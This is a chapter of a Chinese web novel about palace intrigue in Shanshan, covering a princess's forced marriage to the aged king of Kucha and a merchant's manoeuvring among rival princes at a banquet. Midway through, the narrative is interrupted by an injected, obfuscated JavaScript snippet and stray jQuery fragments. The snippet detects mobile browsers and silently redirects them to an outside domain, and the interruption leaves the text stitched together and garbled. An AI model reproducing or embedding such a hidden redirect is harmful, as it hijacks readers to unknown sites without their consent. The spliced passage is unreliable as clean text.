第六十一章
暮色浸透客栈的窗棂,昏黄的烛火在窗棂上摇曳,将我的侧脸映得半明半暗。我望着铜镜里自己眉间的愁绪,迟迟未卸去头上的发饰。
沐清浅推门而入,手中还端着一盘晶莹剔透的葡萄,见我沉默不语,他将葡萄摆在案几上,随意的坐下剥着葡萄,紫红的汁水染上指尖,他却浑不在意,只是若有所思地望着我。
沐清浅漫不经心问我:“还在想阿依娜的事?”
我转过身,裙摆扫过冰凉的地砖:“阿力普今日同你说了不少吧?”
沐清浅挑眉,用锦帕擦干净手指,指尖叩了叩桌面,忽然开口,语气闲适得像在谈论明日天气:“他说老国王病重,药石无医,他的兄长们为夺王位剑拔弩张,个个争得头破血流。阿力普自称年纪最小,无意争斗,也斗不过那些虎狼兄弟,只求沐某助他远走高昌。”他忽地笑出声,笑声里带着几分玩味,“你信么?”
沐清浅将剥好的葡萄递到我唇边,我偏头避开那颗葡萄,红宝石耳坠在颈边轻晃,他收回手,自己吃了那颗葡萄,薄唇沾了汁水,在烛光下泛着妖异的红。
我冷笑一声:“他若真无意王位,何必将妹妹送去和亲?所谓逃走,不过是以退为进。他打着‘无辜弱者’的幌子,等局势明朗再杀个回马枪。好一个口蜜腹剑的十五王子。”
沐清浅轻笑出声,他忽然凑近,呼出的气息拂过我的耳垂,指尖顺着我的发尾缠绕:“他倒是坦诚,直言兄长们手段狠辣,自己只想远走。不过,若真无欲无求,为何将阿依娜送去龟兹联姻?那可是个比鄯善老国王还要年迈的君主。”
我翻身坐起,烛火在他脸上投下明暗交错的光影,我抓住他的手腕,直视那双藏着锋芒的眼睛:“所以,你打算帮他夺位?”
月光透过雕花窗棂,在他眼眸中投出细碎的阴影,他伸手将我散落的发丝别到耳后,眼底映着狡黠的笑意:“阿洛聪明。那孩子有双藏不住野心的眼睛,像沙漠里饿了三天的狼崽。不过,正合我意。你猜他为何找上我?不过是瞧着中原势力能做他的跳板。”
我转身与他对视,烛火映得他眼底的算计愈发清晰:“所以,你打算帮他?”
“互惠互利罢了。扶持一个受我钳制的鄯善国王,总好过面对一群睚眦必报的豺狼,打通西域商路,掌控香料命脉......”沐清浅摊开手掌,仿佛已经握住了权力的丝线,他慢条斯理地分析,“阿依娜的和亲、老国王的病况,都是把柄。等新王登基......”
他的话戛然而止,因为我突然捂住耳朵,别过脸不再看他。
“阿洛,这桩买卖稳赚不赔。”沐清浅顿了顿,顺势将我揽入怀中。
“罢了,我不想听这些。”我望着窗外大漠上忽明忽暗的灯火,阿依娜天真的笑容与沐清浅算计的眉眼在脑海中不断重叠,只觉得一阵头疼,“你们的权力游戏,我一点也不想掺和。”
沐清浅不再多言,只是将我圈在臂弯里,在寂静中,我听见他心跳声渐渐与我重合,如同这场权力博弈下,两个灵魂微妙的拉扯与依存。烛火将我二人的影子投在墙上,纠缠成一团看不清的迷局。
夜幕还未完全落下,鄯善国的夜空被千万盏琉璃灯染成绯色,烛火摇曳间,整座城池都浸在欢快的光晕里。长廊下,乐师们奏响欢快的萨塔尔琴。街巷沸腾如鼎沸的油锅。
盛装的民众举着绘满花卉的旌旗,踩着鼓点高声唱着祝婚歌,羊皮鼓与热瓦普的旋律震得空气发烫。
孩童们挥舞着用胡杨木雕刻的小马驹,追着抛洒的葡萄干奔跑;少女们将花瓣抛向天空,各色花雨纷纷扬扬落在新娘即将经过的红毯上。
阿依娜的婚车即将启程,而这场本该属于新娘的盛典,更像是整个城邦狂欢的借口。
王宫前的广场上,舞姬们戴着面纱翩然起舞,缀满银铃的裙摆旋转如盛开的花。美艳的舞姬旋转着抛起金铃,叮当声中,阿依娜终于出现。
鄯善国最珍贵的玫瑰,此刻被装点成一件华丽的贡品。她褪去往日素雅的纱裙,换上缀满珍珠与宝石的婚服,头冠上的红宝石鲜艳欲滴,却掩不住她眼底破碎的光。
那双眼不再像初见时那般灵动,取而代之的是死灰般的寂静,唯有面纱下偶尔滑落的泪珠,证明这具华丽躯壳里,还藏着一颗鲜活的心。
我无力阻止这场政治联姻,只能任由她如提线木偶般,在众人的喝彩声中,走向注定枯萎的命运。
当阿依娜的婚车缓缓驶出城门,欢呼声如潮水般涌来,瞬间冲破云霄。民众高喊着“王后”“荣耀”,有人抛洒金币,有人激动落泪。
他们高举着葡萄酒囊,为公主成为龟兹王后而狂欢,却无人在意车帘后那双害怕又茫然的眼睛和她藏在宽袖中攥得发白的指节。
漫天的烟花在夜空炸开,将这场盛大的狂欢推向高潮,也将少女的命运,永远定格在这绚烂而冰冷的夜晚。
暮色尚未褪尽,王宫内已燃起万千烛火。琉璃灯盏悬挂在雕花穹顶,折射出万千光晕,将整座宫殿映照得恍若白昼,如梦似幻,乐声与酒香在夜风中翻涌。
鄯善国王宫内灯火辉煌,香料在青铜香炉中氤氲升腾。桌上摆满了琳琅满目的珍馐,蜂蜜浇淋的烤全羊油脂滋滋作响;镶嵌各色果仁的馕饼散发着诱人香气;酒壶中倾倒出澄澈的葡萄美酒,酒香与乐声在空气中交织。
美艳舞姬身着薄纱,赤足踏入殿中,戴着精巧的金饰,随着热瓦普激昂的旋律翩然起舞,腕间足间金铃随着旋身动作叮咚作响。
舞至酣处,她们灵动的眼眸、飞扬的裙裾,与烛光交错成惊心动魄的弧度,将异域风情展现得淋漓尽致。
殿内侍卫身披铁甲,腰悬弯刀,如雕塑般笔直站立,目光如炬地扫视四周,警惕着一切可能出现的危险。
王座之上,老国王伛偻着身躯,浑浊的双眼看着眼前的繁华,却难掩疲惫与沧桑。台阶下,十几位年轻王子身着华丽长袍,各据一方,或举杯谈笑,或低声私语,每个人脸上都带着恰到好处的笑意,可眼底闪烁的锋芒,却昭示着平静表象下暗潮汹涌的权力争斗。
这场看似热闹的盛宴下,暗潮正随着舞姬的鼓点,在酒杯相碰的脆响中翻涌。
我攥着沐清浅的衣袖,望着王宫里身着华服的宾客们举杯欢庆,阿依娜即将远嫁龟兹的消息,在他们口中化作了“两国交好”的美谈。
“今日过后,鄯善国最美的玫瑰,就要在龟兹绽放了!”病重的国王勉力举起酒杯,声音里带着恰到好处的惋惜。他身旁的贵族们纷纷附和,唯有沐清浅垂眸饮尽杯中酒。
“龟兹王今年六十有三,据说上个月刚死了第三任王后。”我唇角含笑,语气却冷得像大漠的夜风,“真是……天赐良缘。”
我握紧双拳,指甲几乎掐进掌心。沐清浅察觉到我的颤抖,伸手将我揽入怀中,温热的呼吸拂过耳畔:“阿洛,别为她难过。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15423703|164138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>烛火摇曳,映得沐清浅青色锦袍上的暗纹若隐若现。他端着夜光杯与左大臣谈笑,举手投足间洒落的波斯香料气息,与殿内熏香融为一体。
当又一位朝臣举杯上前,他眉眼含笑,将杯中葡萄酒一饮而尽,手腕翻转间,新斟满的酒液已稳稳递到对方手中,这般妥帖周到的架势,倒让旁人分不清谁才是主谁是客。
“沐少主真是海量!”左大臣又一次凑近斟酒,山羊胡上还沾着酒渍,“听闻您在高昌的商队,光是骆驼就有三百峰?”
沐清浅含笑饮尽,眼尾泛起薄红,却不忘用鄯善语恭维:“都是托贵国商道的福。”
话音未落,侍从又捧来一匣子孔雀石,说是三王子听闻中原商人爱宝石,特意命人开库取的。
我在案几下狠狠踩了他一脚。
“嘶——”他在袖中捏了捏我的手指,面上仍是春风拂面的笑,“三殿下厚爱,在下却之不恭。正巧新得了几匹中原蜀锦,明日便送到府上。”
宴席喧嚣中,我看着他游刃有余地周旋在各方势力之间。对左大臣暗示可以打通河西走廊的商路;向三王子透漏中原朝廷对西域的新政;甚至当二王子的心腹“偶然”路过时,还能适时地提起大月氏正在收购精铁的消息......
老国王斜倚在雕花王座上,浑浊的目光扫过席间,唯独在阿力普起身敬酒时,枯槁的面容才裂开一丝笑意。这位偏爱幼子的君主,此刻正用布满老年斑的手,慈爱地拍着阿力普的肩膀。
这微妙的局势,沐清浅自然看得分明。大王子赤木和常年驻扎边疆,腰间弯刀上的兽首在烛火下泛着冷光,他举杯的动作带着沙场历练出的凌厉,目光却如鹰隼般扫过沐清浅与左大臣交头接耳的身影。
若此人继位,商路与军政大权必然牢牢攥在掌心。反观阿力普,虽得圣宠,却缺了朝中势力支撑,如同无根之木。
阿力普隔着人群投来目光,少年眼底藏着与年龄不符的深沉。沐清浅举杯向他示意,杯壁映出老国王愈发佝偻的脊背,以及赤木和紧握酒杯的指节。
沐清浅突然倾身替我拢了拢鬓发,温热的唇擦过耳廓:“瞧,小狼崽急了。”
左大臣摇晃着逼近,浑浊的眼珠黏在我身上,酒气混着浓烈的香料味扑面而来:“夫人这般姿容,真是......”
他拖长尾音,酒气喷在沐清浅肩头,那色眯眯的模样让人胃部翻涌。沐清浅眸光瞬间冷下来,危险地眯起双眼,指节在案几上敲出压抑的节奏,周身气息骤变,冷得能结出霜来。
“看来大人对我中原的商品颇有见地?只是如今商路不宁,怕是要等新王......”沐清浅故意大声说着,同时掏出镶玉的钱袋,沉甸甸地压在大臣掌心,他抬手按住左大臣肩膀,看似亲昵实则暗藏力道,唇角勾起一抹虚假的笑意,眼底却无半分温度,“还望大人在新王面前美言,日后中原的丝绸,必能铺满鄯善的市集。”
话音未落,便朝暗处使了个眼色,两名鄯善国官员立即上前将人劝走。沐清浅掸了掸衣袖,仿佛方才触碰的是什么脏污,神色恢复如常。
夜色渐深,沐清浅走出王宫时,身后传来大王子与几位将领的低语声。这场宴会的每一次推杯换盏、每一句寒暄,都成了他棋盘上的落子。他望着漫天星斗轻笑,这场权力的棋局,终于在美酒与美人的香气中,落下了第一枚棋子。
小剧场:
沐清浅:那个左大臣,不会让他活过一章。